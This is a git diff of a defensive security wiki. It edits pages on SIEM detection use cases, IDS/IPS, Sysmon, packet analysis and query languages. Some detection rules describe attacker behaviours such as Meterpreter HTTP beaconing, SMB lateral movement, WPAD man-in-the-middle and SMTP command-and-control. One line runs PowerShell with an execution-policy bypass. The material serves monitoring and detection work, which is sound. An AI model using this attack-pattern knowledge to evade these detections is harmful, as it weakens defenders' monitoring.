download rather than upload. If that changes, it could indicate beaconing or exfiltration. This should always be correlated with spikes in connection counts as well. * **Per subnet event count anomalies.** **Unauthorized RDP Use** @@ -73,7 +73,7 @@ When monitoring network traffic, we can identify anomalies of traffic by statist * Detected use of SMB * EventID 4624 * OR - * Dest Port = 3389 + * Dest Port = 445 or 139 * AND * Source is * 192.168.0.0/16 OR 172.16.0.0/12 OR 10.0.0.0/8 @@ -92,9 +92,15 @@ When monitoring network traffic, we can identify anomalies of traffic by statist **Traffic to New Port** * Theory - * Business activity is regular and repetitive. One a device is fully deployed in a network, it will rarely see connections with previously unused ports. By detecting connections with ports that have never previously been used, we can detect various types of potentially malicious traffic within our network. + * Business activity is regular and repetitive. Once a device is fully deployed in a network, it will rarely see connections with previously unused ports. By detecting connections with ports that have never previously been used, we can detect various types of potentially malicious traffic within our network. * Requirements * Logic * Where - * Internal asset and traffic destination port combination has not been seen wihtin the past 90 days. + * Internal asset and traffic destination port combination has not been seen within the past 90 days. + +For packet capture, beaconing, and protocol analysis references, use Packet Analysis. + +{% content-ref url="../../packet-analysis.md" %} +[packet-analysis.md](../../packet-analysis.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/http.md b/blue-defense/event-detection/detection-use-cases/http.md index 679748b..32e640e 100644 --- a/blue-defense/event-detection/detection-use-cases/http.md +++ b/blue-defense/event-detection/detection-use-cases/http.md @@ -5,7 +5,7 @@ * Unauthorized proxy detection and WPAD attacks * If the XFF field is present, a proxy is being used. We can look for the presence of the XFF field in HTTP logs where the source IP does not match approved Web Servers. This will discover policy violations, and WPAD based MITM attacks * Meterpreter over HTTP - * Default Merterpreter configurations will perform an HTTP GET request about every 3 seconds and will continue constantly + * Default Meterpreter configurations will perform an HTTP GET request about every 3 seconds and will continue constantly * Scan/crawl of a web server detection by HTTP Method * \~1000 get requests in a 5 minute period * \>100 POST requests in a 5 minute period @@ -22,9 +22,9 @@ * A good starting place is looking at URL lengths of over 250 characters, but may require tuning per your environment. * Note: This is intended for organization controlled Web Servers. Using this technique to monitor standard HTTP traffic will yield a ton of noise, as many ad domains have long URLs. * Malicious/Unauthorized User-Agent - * A high-value add data point, User-Agents can be used to identify sloppy malware, where the User-agent has a typo in it, or the malware author is so bold they even put its name in the User-Agent field. + * User-Agent is a high-value data point. It can identify sloppy malware when the User-Agent has a typo or when the malware author puts the malware name directly in the field. * Older User-agents can be used to identify older operating systems that might have slipped past Vulnerability management. - * While this Use Case does require the creation of an allow list based on expected traffic within your organization, it will be a high fidelity alert for all unauthorized traffic.Most websites tend to fall below a certain URL character length. Certain web attacks like SQL injection will make the URL length quite large, especially when using HTML encoding to bypass any SQL injection defenses. This is usually a built in use case for most Web App Firewalls, but if you do not have one, it is still an easy use case to implement. + * While this use case requires an allow list based on expected traffic within your organization, it can become a high-fidelity alert for unauthorized traffic. Most websites tend to fall below a certain URL character length. Certain web attacks, like SQL injection, can make the URL length quite large, especially when using HTML encoding to bypass SQL injection defenses. This is usually a built-in use case for most web application firewalls, but if you do not have one, it is still an easy use case to implement. ## **HTTPS DETECTION Use Cases - Certificates** @@ -33,8 +33,8 @@ * Potential Malware SSL Certificate * One or more missing fields - Similar to Meterpreter, many types of malware will use a self-signed certificate and be missing one or more common fields. These are typically Organization, Organization Unit, State, and Country code. * Improper field content - We can also look at improper data in fields such as Country Code. Simply looking at the country code field for non existent country codes, can be rather effective. - * Uncommon Common Names - The Common Name fields often look liek DNS domains. Malware can sometimes generate Common names that dismiss the TLD suffix. Simply, finding a certificate with a common name missing a "." is abnormal. - * We can look at malware dumps like [Contagio](https://contagiodump.blogspot.com/) for evidence of the disparity of presence of certificate fields. Country code and Organization fields are missing in about 33% of malware certificates, and state/country code are missing in almost 75%. + * Uncommon Common Names - The Common Name fields often look like DNS domains. Malware can sometimes generate common names that omit the TLD suffix. Finding a certificate with a common name missing a "." is abnormal. + * We can look at malware dumps like [Contagio](https://contagiodump.blogspot.com/) for evidence of the disparity of presence of certificate fields. Country code and organization fields are missing in about 33% of malware certificates, and state/country code are missing in almost 75%. * Certificates should constantly be inspected for field combinations that would raise suspicion. * Expired SSL Certificate * Sometimes legitimate certificates can be collected by malicious actors by various means and used long after they have expired. Sometimes the use of an expired SSL certificate can indicate interaction with an older machine that has not been maintained and may be compromised. Either way, there is little to no justification for legitimate interaction with a device that uses an expired SSL Certificate. @@ -43,7 +43,13 @@ * Self-Signed Certificate * While this Use Case will require filtering and tuning, it is rare that you will see legitimate external traffic using a self-signed SSL certificate. Internal traffic will take some work to filter out as internal traffic has a higher occurrence of using self-signed certificates. That being said, you should do all you can to limit self-signed certificate use within your organization. * Unauthorized certificate issuer - * Signed certificates dont mean anything if we do not trust the Certificate Authority that signed them. It is possible to find and export a list of trusted root certificate authorities that can be used as a lookup and white list. Conversely, a blacklist could be made for those that we would not trust. + * Signed certificates do not mean anything if we do not trust the Certificate Authority that signed them. It is possible to find and export a list of trusted root certificate authorities that can be used as a lookup and allow list. Conversely, a deny list could be made for those that we would not trust. * Beware of free CAs like Let's Encrypt that are becoming increasingly more popular. They allow [malware and phishing campaigns](https://www.trendmicro.com/en\_us/research/16/a/lets-encrypt-now-being-abused-by-malvertisers.html) to use legitimately signed certificates. * High entropy of Certificate field entries * As mentioned with the Meterpreter Use Case, some malware will create a random string to fill in certificate data fields. We can use frequency analysis tools like [freq.py](https://github.com/markbaggett/freq) to calculate entropy of the field. + +For malware samples, sandboxing, and DFIR malware analysis resources, use the DFIR malware pages. + +{% content-ref url="../../../dfir-digital-forensics-and-incident-response/malware.md" %} +[malware.md](../../../dfir-digital-forensics-and-incident-response/malware.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/smtp.md b/blue-defense/event-detection/detection-use-cases/smtp.md index 9721725..a42a0e0 100644 --- a/blue-defense/event-detection/detection-use-cases/smtp.md +++ b/blue-defense/event-detection/detection-use-cases/smtp.md @@ -11,13 +11,13 @@ description: Detection, Enrichment, and Use cases ## **SMTP - Use Cases** * Fuzzy search phishing domain detection - * Fuzzy searching of email domains - Use fuzzy searching utilities of your SIEM or supplementary tool like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) to calculate Levenshtien distance of a string and detect similar domains. This use case should return nothing unless a potential typo-squatting domain is detected. This technique is extremely effective against phishing domains and targeted attacks. - * Elastisearch: + * Fuzzy searching of email domains - Use fuzzy searching utilities of your SIEM or supplementary tool like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) to calculate Levenshtein distance of a string and detect similar domains. This use case should return nothing unless a potential typo-squatting domain is detected. This technique is extremely effective against phishing domains and targeted attacks. + * Elasticsearch: * `tags:smtp domain:SEARCHDOMAIN.com~ -domain:SEARCHDOMAIN.com` * The \~ character indicates a fuzzy search. You will also remove the searched domain itself from the search results. * Splunk: * Use either [Fuzzy Search for Splunk](https://splunkbase.splunk.com/app/3109/) app, or [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) via an API call. - * \#NOTE: This can also be done with DNS records, but will create a significantly higher rate of false positives. + * Note: This can also be done with DNS records, but will create a significantly higher rate of false positives. * Domain match with [DNStwist](https://github.com/elceef/dnstwist) domain list - Used for expanded searching beyond the 1-2 character difference of fuzzy searching. Also allows for searching of Homograph domain usage. The best use is to use DNStwist to create a domain list as a lookup file and dynamically alert based on matches to traffic containing these domains. * Bulk phishing detection * Search for large amounts of emails from an external address sent within a short time frame. Will require adjustment to find the correct emails per minute threshold for your organization. @@ -27,6 +27,12 @@ description: Detection, Enrichment, and Use cases * Unauthorized outbound SMTP detection * Email should only be coming from authorized sources. We can detect unauthorized mail relays and potential C2 activity, by limiting SMTP traffic to mail servers and other pre-approved tools, while alerting on anything else. * Unauthorized SMTP user agent detection - * By looking for unwanted user agents, we can detect un approved outbound email applications. This is handy for alerting when an authorized system is compromised. + * By looking for unwanted user agents, we can detect unapproved outbound email applications. This is handy for alerting when an authorized system is compromised. * Outbound SMTP traffic anomaly detection - * Either by baselining or machine learning, if we can establish a normal pattern and volume of outbound email traffic, we can set up alerting around any strange spikes in outbound email traffic that might indicate a compromised system using SMTP for a c2 channel or for further phishing activities. + * Either by baselining or machine learning, if we can establish a normal pattern and volume of outbound email traffic, we can set up alerting around any strange spikes in outbound email traffic that might indicate a compromised system using SMTP for a C2 channel or for further phishing activities. + +For domain enrichment, typo-squatting investigation, and dnstwist-style workflows, use the domain OSINT page. + +{% content-ref url="../../../cyber-intelligence/osint/domain.md" %} +[domain.md](../../../cyber-intelligence/osint/domain.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md b/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md index 3140528..13d0ed1 100644 --- a/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md +++ b/blue-defense/event-detection/detection-use-cases/user-behavior-monitoring.md @@ -1,14 +1,23 @@ -# User Behavior monitoring +# User Behavior Monitoring -Service account on a non-service related system = Alert +Use this page for UEBA-style starter ideas: activity that may be individually legitimate but becomes suspicious when compared to the user, role, host, time, or normal business process. + +## High-Value Patterns + +* Service account used on a non-service system. +* Domain admin account logging into a regular workstation. +* New login location for a user. +* Unusual login time, separated by user group. System administrators and accountants usually have very different working patterns. +* Account sharing indicators, such as one user logging into many workstations in a short window. +* Internal account or DNS enumeration using native authorized tools. +* Unusual protocol use for a user's role or device. + +## Process and Access Behavior * Unusual process by user * Start with Application Control * Machine learning can profile Powershell.exe use at startup vs a manual launch * Unusual process by time -* New Login Locations -* Unusual Login Time - * Separate by user group. Sys admins log in a crazy times. Accountants do not. * Account/DNS Enumeration * Insider recon is done with native authorized tools * Can be locked down by security group @@ -16,16 +25,15 @@ Service account on a non-service related system = Alert * Most can be caught without machine learning * [https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html](https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html) * Directory service lookups -* Unusual protocol use -* Account Sharing - * Number of workstations logged into by user within time frame - * login within 1 minute of process creation or login event on a different system - * user logged in externally as well as internally -* Improper use of Privileged User Account - * Domain admin account logging into a regular workstation = Alert -Brute force logins do not require behavioral analysis. It is either evil or misconfigured. Either way, it needs a ticket. 50 failed logons in a minute. +## Notes + +* Brute force logins do not require behavioral analysis. They are either malicious or misconfigured, and either case needs a ticket. +* Compromised accounts are likely to generate more denied access logs. Least privilege helps make this easier to spot. +* A controlled jump box for all domain admin logins makes privileged sessions easier to track and makes off-path admin logons more visible. -Compromised accounts are likely to generate more denied access logs. Least privilege helps make this easy to spot. +For authentication and logon-specific detections, use the Authentication/Logon page. -Look at using a controlled jumped box for all domain admin logins. Makes it easy to track sessions and look for any logins not from the Jump Box. +{% content-ref url="authentication-logon.md" %} +[authentication-logon.md](authentication-logon.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md b/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md index 55cbffd..d03fbd5 100644 --- a/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md +++ b/blue-defense/event-detection/detection-use-cases/windows-event-id-logging-list.md @@ -1,4 +1,4 @@ -# Windows Event ID logging list +# Windows Event ID Logging List * EventID 104: The System log file was cleared * Use Case - Clearing of logs @@ -85,9 +85,9 @@ * EventID 8007: Blocked MSI or Script * Use Case - Applocker performed a blocking action -Reference +## Reference -* [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor) +* [Microsoft: Events to Monitor](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor) #### AD Attack Detection diff --git a/blue-defense/event-detection/ids-ips.md b/blue-defense/event-detection/ids-ips.md index 879682f..496d396 100644 --- a/blue-defense/event-detection/ids-ips.md +++ b/blue-defense/event-detection/ids-ips.md @@ -1,5 +1,7 @@ # IDS/IPS +Use this page as the Blue section's canonical home for Snort, Suricata, Zeek, Security Onion, IDS/IPS rule syntax, and network security monitoring platforms. + ## **Intrusion Detection Systems** Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) are critical components of network defense. They analyze network traffic and logs to deny or alert on potential threats based on defined rule sets. Open-source IDS solutions are widely respected for their detection capabilities, often rivaling premium products due to active community support and publicly shared detection rules. @@ -8,9 +10,9 @@ Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) are cri Suricata is a high-performance, open-source network analysis and threat detection software. It combines intrusion detection (IDS), intrusion prevention (IPS), network security monitoring (NSM), and PCAP processing. Suricata is capable of identifying, stopping, and assessing sophisticated attacks. It is widely adopted and often integrated into other security products. -* Can collect logs with syslog, [Unified2](https://www.snort.org/faq/readme-unified2), flat files, or the preferred method of [EVE](https://suricata.readthedocs.io/en/suricata-6.0.0/output/eve/eve-json-output.html) +* Can collect logs with syslog, [Unified2](https://www.snort.org/faq/readme-unified2), flat files, or the preferred method of [EVE](https://docs.suricata.io/en/latest/output/eve/eve-json-output.html) * EVE is a highly configurable JSON format that can support multiple files. -* [https://suricata.readthedocs.io/en/suricata-6.0.3/](https://suricata.readthedocs.io/en/suricata-6.0.3/) +* [Suricata User Guide](https://docs.suricata.io/en/latest/) * [Evebox Suricata event viewer](https://github.com/jasonish/evebox) - EveBox is a web based Suricata "eve" event viewer for Elastic Search. * [suricata-language-server](https://github.com/StamusNetworks/suricata-language-server) - An implementation of the Language Server Protocol for Suricata signatures. It adds syntax check, hints and auto-completion to your preferred editor once it is configured. * [https://rules.emergingthreats.net/open/suricata/rules/](https://rules.emergingthreats.net/open/suricata/rules/) @@ -36,7 +38,7 @@ Snort is a widely deployed open-source network intrusion prevention system (NIPS ### **Writing a SNORT Rule** -* [Snort Manual: Rules](http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node29.html) +* [Snort Rule Docs](https://docs.snort.org/rules/) * [Understanding and Configuring Snort Rules (Rapid7)](https://blog.rapid7.com/2016/12/09/understanding-and-configuring-snort-rules/) A standard rule is broken down as follows: diff --git a/blue-defense/event-detection/siem-and-enrichment.md b/blue-defense/event-detection/siem-and-enrichment.md index 60d9685..d43c20b 100644 --- a/blue-defense/event-detection/siem-and-enrichment.md +++ b/blue-defense/event-detection/siem-and-enrichment.md @@ -1,5 +1,7 @@ # SIEM and Enrichment +Use this page for SIEM platforms and enrichment techniques used during alert triage, detection, and investigation. Threat intelligence platforms and feeds live in Cyber Intelligence, while case management and incident response workflows live in DFIR. + ## Open Source SIEMs * [Elastic Stack: Kibana](https://www.elastic.co/siem/) - One of the most popular and flexible tools out there, Elastic Stack is a data mining platform where you can parse logs of all kinds for all different purposes. Kibana is the interface for the Elastic Stack, containing the Elastic Security solution. It comes with an event manager, alerting tools, and even a set of default alerting use cases. @@ -7,7 +9,7 @@ * [SIEMonster | Affordable Security Monitoring Software Solution](https://siemonster.com/community-edition/) - An all in one VM that has Elastic Stack as well as all of the other logging and alerting tools you might want. * [Cyber Wardog Lab: Building a Sysmon Dashboard with an ELK Stack](https://cyberwardog.blogspot.com/2017/03/building-sysmon-dashboard-with-elk-stack.html) * [Elasticsearch Guide](https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html) - The official documentation. - * [https://training.elastic.co/learn-from-home\*](https://training.elastic.co/learn-from-home\*) + * [Elastic Training](https://www.elastic.co/training/) * [Graylog](https://www.graylog.org/) - Graylog is a fantastically flexible logging solution that also has its own security correlation engine with Graylog Illuminate. * [Enhance Windows Security with Sysmon, Winlogbeat and Graylog | Graylog](https://www.graylog.org/post/back-to-basics-enhance-windows-security-with-sysmon-and-graylog) * [OSSIM: The Open Source SIEM | AlienVault](https://cybersecurity.att.com/products/ossim) - OSSIM is a super handy security platform that focuses less on the data mining and more of the security alerting. It has an incredibly easy to use security rule generation tool and also can perform cross correlation between data sources. @@ -34,7 +36,12 @@ With most SIEMs you can add in plugins or apps that can perform a myriad of supp * [Majestic Millions](https://majestic.com/reports/majestic-million) * [Cisco Umbrella Top 1 Million](https://umbrella.cisco.com/blog/cisco-umbrella-1-million) * Pre-loaded data - These are files and sets of data that can be used for reference, comparison, or enhancement. These can be white/black lists, the above domain lists, Mitre attack tables, or anything you might want to use. For easy storage and later recall, we can use a utility like [Memcached](https://memcached.org/) for storing key-value pair knowledge objects. -* Threat Intelligence - _Please see the Intelligence Section of this guide._ +* Threat Intelligence - Use Cyber Intelligence for feeds, platforms, enrichment sources, and indicator reputation. + +{% content-ref url="../../cyber-intelligence/" %} +[cyber-intelligence](../../cyber-intelligence/) +{% endcontent-ref %} + * [Fuzzy Searching](https://github.com/seatgeek/fuzzywuzzy) - For SIEMs that do not have integrated fuzzy searching ability, tools like [fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) uses python to calculate [Levenshtein distance](https://en.wikipedia.org/wiki/Levenshtein\_distance) for fuzzy searching of strings up to a couple characters different from the searched string. * [APIify](https://github.com/MarkBaggett/apiify) - First and foremost on the list, APIify is a fantastic tool that you can apply to just about every security tool you have that doesn't have its own API. It essentially takes any standalone Binary and wraps it into a cached web server. Super handy for being able to integrate the functions of your favorite tools into your SIEM. * [Domain\_stats](https://github.com/MarkBaggett/domain\_stats) - Combine this with the above APIify tool to be able to dynamically pull out useful information on your domains that might raise a security eyebrow. Honestly, every tool Mark Baggett creates is gold. @@ -43,13 +50,17 @@ With most SIEMs you can add in plugins or apps that can perform a myriad of supp * [PRADS: Passive Real-time Asset Detection System](https://github.com/gamelinux/prads/) - PRADS is a tool that can passively build an asset list with useful details like operating system and open ports. When you do not have access to an asset list or CMDB from the engineering team, this can be a huge help when adding context to security investigations. * [hallucinate](https://github.com/SySS-Research/hallucinate/) - One-stop TLS traffic inspection and manipulation using dynamic instrumentation. * [Sigma](https://github.com/SigmaHQ/sigma) - Generic Signature Format for SIEM Systems. Sigma is for log files what Snort is for network traffic. It allows you to describe relevant log events in a flexible and standardized format, allowing you to share rules across different SIEM implementations. -* [TheHive](https://thehive-project.org/) - A scalable, open source and free Security Incident Response Platform designed to make life easier for SOCs, CSIRTs, CERTs and any information security practitioner dealing with security incidents. It acts as a great enrichment and case management platform. * [CyberChef](https://gchq.github.io/CyberChef/) - "The Cyber Swiss Army Knife". A web app for encryption, encoding, compression and data analysis. Extremely useful for decoding obfuscated data found in logs. -* [MISP](https://www.misp-project.org/) - Open Source Threat Intelligence Platform & Open Standards For Threat Information Sharing. It helps in storing, sharing, and enriching indicators of compromise (IOCs). * [phishing\_catcher](https://github.com/x0rz/phishing\_catcher) - Catch possible phishing domains in near real time by looking for suspicious TLS certificate issuances reported to the [Certificate Transparency Log (CTL)](https://www.certificate-transparency.org/) via the [CertStream](https://certstream.calidog.io/) API. * [guac](https://github.com/guacsec/guac) - Graph for Understanding Artifact Composition (GUAC) aggregates software security metadata into a high fidelity graph database—normalizing entity identities and mapping standard relationships between them. Querying this graph can drive higher-level organizational outcomes such as audit, policy, risk management, and even developer assistance. * _Threat Hunting with Elastic Stack: Enriching Data to Make Intelligence - pg. 329_ +For TheHive, Cortex, and incident-response case management, use the DFIR section. + +{% content-ref url="../../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + {% embed url="https://www.youtube.com/watch?v=lb2M7-UOqVI" %} ## Deprecated / Archived Projects diff --git a/blue-defense/event-detection/sysmon.md b/blue-defense/event-detection/sysmon.md index 6e94f7c..ff92f84 100644 --- a/blue-defense/event-detection/sysmon.md +++ b/blue-defense/event-detection/sysmon.md @@ -1,6 +1,6 @@ # Sysmon -### [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) +### [Sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time. It is a critical data source for Incident Response, Event Detection, and Threat Hunting. @@ -28,6 +28,16 @@ System Monitor (Sysmon) is a Windows system service and device driver that, once * [Sysmon API MindMap](https://raw.githubusercontent.com/OTRF/API-To-Event/master/images/API-to-Sysmon.svg) - Visual map of Sysmon API to events. * [Sysmon Cheatsheet](https://github.com/olafhartong/sysmon-cheatsheet/blob/master/Sysmon-Cheatsheet-dark.pdf) - A quick reference cheatsheet for Sysmon. +For endpoint and command-line detection ideas that use Sysmon data, see these detection use-case pages. + +{% content-ref url="detection-use-cases/endpoint.md" %} +[endpoint.md](detection-use-cases/endpoint.md) +{% endcontent-ref %} + +{% content-ref url="detection-use-cases/command-line.md" %} +[command-line.md](detection-use-cases/command-line.md) +{% endcontent-ref %} + ### Key Sysmon Event IDs * **Event ID 1**: Process Creation diff --git a/blue-defense/packet-analysis.md b/blue-defense/packet-analysis.md index dbb1742..c2a68d9 100644 --- a/blue-defense/packet-analysis.md +++ b/blue-defense/packet-analysis.md @@ -27,8 +27,17 @@ Raw packet captures are a staple for security analysis since they can be a compl * [Stenographer by Google](https://github.com/google/stenographer) - A full-packet-capture utility for buffering packets to disk for intrusion detection and incident response purposes. It provides a high-performance implementation of NIC-to-disk packet writing, handles deleting those files as disk fills up, and provides methods for reading back specific sets of packets quickly and easily. * [CapMe](https://github.com/Security-Onion-Solutions/security-onion/wiki/CapMe) - The Web Interface for easy interaction with packet captures, located within Security Onion. * [NTOP / ntopng](https://www.ntop.org/) - Handy and flexible tool stack that can create packet captures, netflow logs, and network probes for recording traffic of different types. `ntopng` is the modern, high-speed version of the original `ntop`. +* [Fprobe](https://github.com/digitalocean/fprobe) - libpcap-based tool that collects network traffic and exports it as NetFlow. +* [YAF](https://tools.netsa.cert.org/yaf/) - Yet Another Flowmeter; processes PCAP or live traffic into bidirectional IPFIX flows. +* [SiLK](https://tools.netsa.cert.org/silk/) - CERT NetSA flow analysis toolkit for large-scale network traffic analysis. + * [SiLK Analysis Handbook](https://tools.netsa.cert.org/silk/analysis-handbook.pdf) +* [super_mediator](https://tools.netsa.cert.org/super_mediator/) - IPFIX mediator commonly used with YAF and SiLK workflows. +* [OpenArgus](https://openargus.org/) - Real-time flow monitor for comprehensive network traffic auditing. * [Dumpcap](https://www.wireshark.org/docs/man-pages/dumpcap.html) **-** Tool included with Wireshark for simple capture of packet data and writing to a disk. * [Netsniff-ng](http://netsniff-ng.org/) - A fast network analyzer based on packet mmap(2) mechanisms. It can record pcap files to disk, replay them and also do an offline and online analysis. +* [URLSnarf](https://linux.die.net/man/8/urlsnarf) - Extracts requested URLs from HTTP traffic. +* [httpry](https://github.com/jbittel/httpry) - Captures and logs HTTP traffic for later analysis. +* [justniffer](https://onotelli.github.io/justniffer/) - Network protocol analyzer that can produce web-server-like logs from captured HTTP traffic. * _Attacking Network Protocols: Ch. 2 Capturing Application Traffic - pg. 11_ @@ -41,10 +50,11 @@ Raw packet captures are a staple for security analysis since they can be a compl This can be done in a few ways: -Man-in-the-middle (MITM) +Man-in-the-middle (MITM) interception is primarily a web application testing and offensive security topic. For defensive packet analysis, focus on decrypting traffic you are authorized to inspect with keys or session secrets. -* [MITM Through mitmproxy](https://mitmproxy.org/) -* [MITM Through SSLStrip](https://github.com/moxie0/sslstrip) (Note: This is a legacy technique and is largely ineffective against modern HSTS-enabled sites). +{% content-ref url="../web-app-hacking/attacks-and-vulnerabilities/" %} +[attacks-and-vulnerabilities](../web-app-hacking/attacks-and-vulnerabilities/) +{% endcontent-ref %} Using Keys/Secrets: @@ -100,7 +110,7 @@ Command line version of Wireshark * [Beginners Guide to TShark (Part 1)](https://www.hackingarticles.in/beginners-guide-to-tshark-part-1/) * [Beginners Guide to TShark (Part 2)](https://www.hackingarticles.in/beginners-guide-to-tshark-part-2/) * [Beginners Guide to TShark (Part 3)](https://www.hackingarticles.in/beginners-guide-to-tshark-part-3/) -* [https://tryhackme.com/room/tshark](https://tryhackme.com/room/tshark) +* TryHackMe's TShark room is preserved in Training. {% endtab %} {% tab title="Basic Commands" %} @@ -303,9 +313,11 @@ PowerShell.exe -ExecutionPolicy bypass .\raw-socket-sniffer.ps1 ` * [Malware Traffic Analysis](https://www.malware-traffic-analysis.net/) - A comprehensive source for traffic analysis exercises and tutorials. * [https://www.sans.org/reading-room/whitepapers/tools/extracting-files-network-packet-captures-36562](https://www.sans.org/reading-room/whitepapers/tools/extracting-files-network-packet-captures-36562) * [Detecting Network Attacks with Wireshark - InfosecMatter](https://www.infosecmatter.com/detecting-network-attacks-with-wireshark/) -* Hack-the-box Packet Analysis Course - [https://academy.hackthebox.eu/course/preview/intro-to-network-traffic-analysis](https://academy.hackthebox.eu/course/preview/intro-to-network-traffic-analysis) +* Hack The Box packet analysis training is preserved in Training. * [https://dfirmadness.com/case-001-pcap-analysis/](https://dfirmadness.com/case-001-pcap-analysis/) -* [https://www.antisyphontraining.com/getting-started-with-packet-decoding-w-chris-brenton/](https://www.antisyphontraining.com/getting-started-with-packet-decoding-w-chris-brenton/) +* Antisyphon packet decoding training is preserved in Training. * _Packet Analysis - Applied Network Security Monitoring, pg.341_ -__ +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/blue-defense/query-languages.md b/blue-defense/query-languages.md index 3de9f31..50c79a6 100644 --- a/blue-defense/query-languages.md +++ b/blue-defense/query-languages.md @@ -1,31 +1,33 @@ --- -description: Common Security Events, how to analyze them, and the tools to do so +description: Security query languages, detection rule syntax, and search references --- # Query Languages -Triaging and investigating security events are the bread and butter of any SOC analyst. Before we can investigate we must first have two things: A common terminology to define attacks and security related activity, and searches to direct us to that activity. +Triaging and investigating security events are the bread and butter of SOC analysis. Before you can investigate effectively, you need two things: common terminology for security activity and reliable searches that point you toward that activity. -## **Event search languages and rules** +Use this page for SIEM search syntax, detection rule formats, and security query references. Tool catalogs belong on the Event Detection and Blue Toolbox pages; this page is for the languages analysts use inside those tools. -Whether it is an open source tool like Elastic Stack, or a proprietary tool like Splunk, every data mining or security event generating tool has its own language. Specifically, SIEMs, EDRs, and Data mining platforms require an extensive and flexible language to search for data. Writing effective searches is an art form, and it is highly encouraged that you do plenty of research and testing before deployment. +## Event Search Languages and Rules -## [Sigma](https://github.com/Neo23x0/sigma) +Whether you are using an open-source stack like Elastic or a commercial tool like Splunk, every SIEM, EDR, and data platform has its own search language. Writing effective searches takes practice, testing, and tuning before deployment. -The syntax and format of all of the available languages are vast and complex. Especially so when you have to convert search parameters from one tool to another. This is where Sigma comes in. +## [Sigma](https://github.com/SigmaHQ/sigma) -"Sigma is a generic and open signature format that allows you to describe relevant log events in a straightforward manner. The rule format is very flexible, easy to write and applicable to any type of log file. The main purpose of this project is to provide a structured form in which researchers or analysts can describe their once developed detection methods and make them shareable with others. Sigma is for log files what [Snort](https://www.snort.org/) is for network traffic and [YARA](https://github.com/VirusTotal/yara) is for files." - Sigma Github Notes +The syntax and format of search languages can become complex, especially when you need to translate detection logic between platforms. Sigma helps solve that problem by providing a generic, open rule format for log-based detections. Sigma is often described as being for logs what [Snort](https://www.snort.org/) is for network traffic and [YARA](https://github.com/VirusTotal/yara) is for files. Sigma is a fantastic tool that decouples rule logic from vendor terminology. Sigma is stored in an easy-to-read YAML format and is compatible with the MISP intel tool. -Remember two things: First, Sigma queries may not be perfect, but they should get you 90-95% the way towards what you are looking for. Be prepared to tweak! \ -Second, online converters might not be able to translate from one platform easily. Example: LogRhythm -> Splunk. Sometimes you need to look at various Github repositories to get the code to convert to Sigma, then on to the platform of your choice. Example: LogRhythm -> Sigma -> Splunk. +Remember two things: -* [GitHub - Neo23x0/sigma: Generic Signature Format for SIEM Systems](https://github.com/Neo23x0/sigma) +* Sigma conversions may get you most of the way there, but translated queries still need testing and tuning. +* Some platform-to-platform conversions require an intermediate step. For example, LogRhythm to Sigma to Splunk may work better than trying to translate LogRhythm directly to Splunk. + +* [SigmaHQ/sigma](https://github.com/SigmaHQ/sigma) - Generic signature format for SIEM systems. * [How to Write Sigma Rules - Nextron Systems](https://www.nextron-systems.com/2018/02/10/write-sigma-rules/) * [GitHub - LogRhythm-Labs/Sigma: Convert Sigma rules to LogRhythm searches](https://github.com/LogRhythm-Labs/Sigma) * [Importing Sigma Rules to Microsoft Sentinel](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097) -* [WithSecureLabs/chainsaw](https://github.com/WithSecureLabs/chainsaw) - Chainsaw provides a powerful ‘first-response’ capability to quickly identify threats within Windows forensic artefacts such as Event Logs and MFTs. +* [WithSecureLabs/chainsaw](https://github.com/WithSecureLabs/chainsaw) - Chainsaw provides a powerful first-response capability to quickly identify threats within Windows forensic artifacts such as Event Logs and MFTs. * [Yamato-Security/hayabusa](https://github.com/Yamato-Security/hayabusa) - Hayabusa (隼) is a sigma-based threat hunting and fast forensics timeline generator for Windows event logs. To make Sigma even easier to use, there are tools like Uncoder.io that can easily translate the rule syntax from one platform to another, free of charge. As stated above, if you cannot do direct translations from one platform to another, try changing the source search to Sigma first, then on to the platform of your choice. @@ -34,29 +36,26 @@ To make Sigma even easier to use, there are tools like Uncoder.io that can easil ![](<../.gitbook/assets/image (41).png>) -## [Lucene](https://lucene.apache.org/) (ElasticSearch) +## [Lucene](https://lucene.apache.org/) and Elasticsearch -Apache's search language is used in many technologies including Elastic Stack and Palo Alto's XSOAR. +Apache Lucene query syntax appears in many security tools, including Elastic Stack and Graylog. Elasticsearch, Kibana Query Language (KQL), and Elastic Query Language (EQL) are common in security monitoring and threat hunting workflows. * [Lucene Query Parser Syntax](https://lucene.apache.org/core/9_8_0/queryparser/org/apache/lucene/queryparser/classic/package-summary.html#package_description) * [Logz.io - Elasticsearch Queries 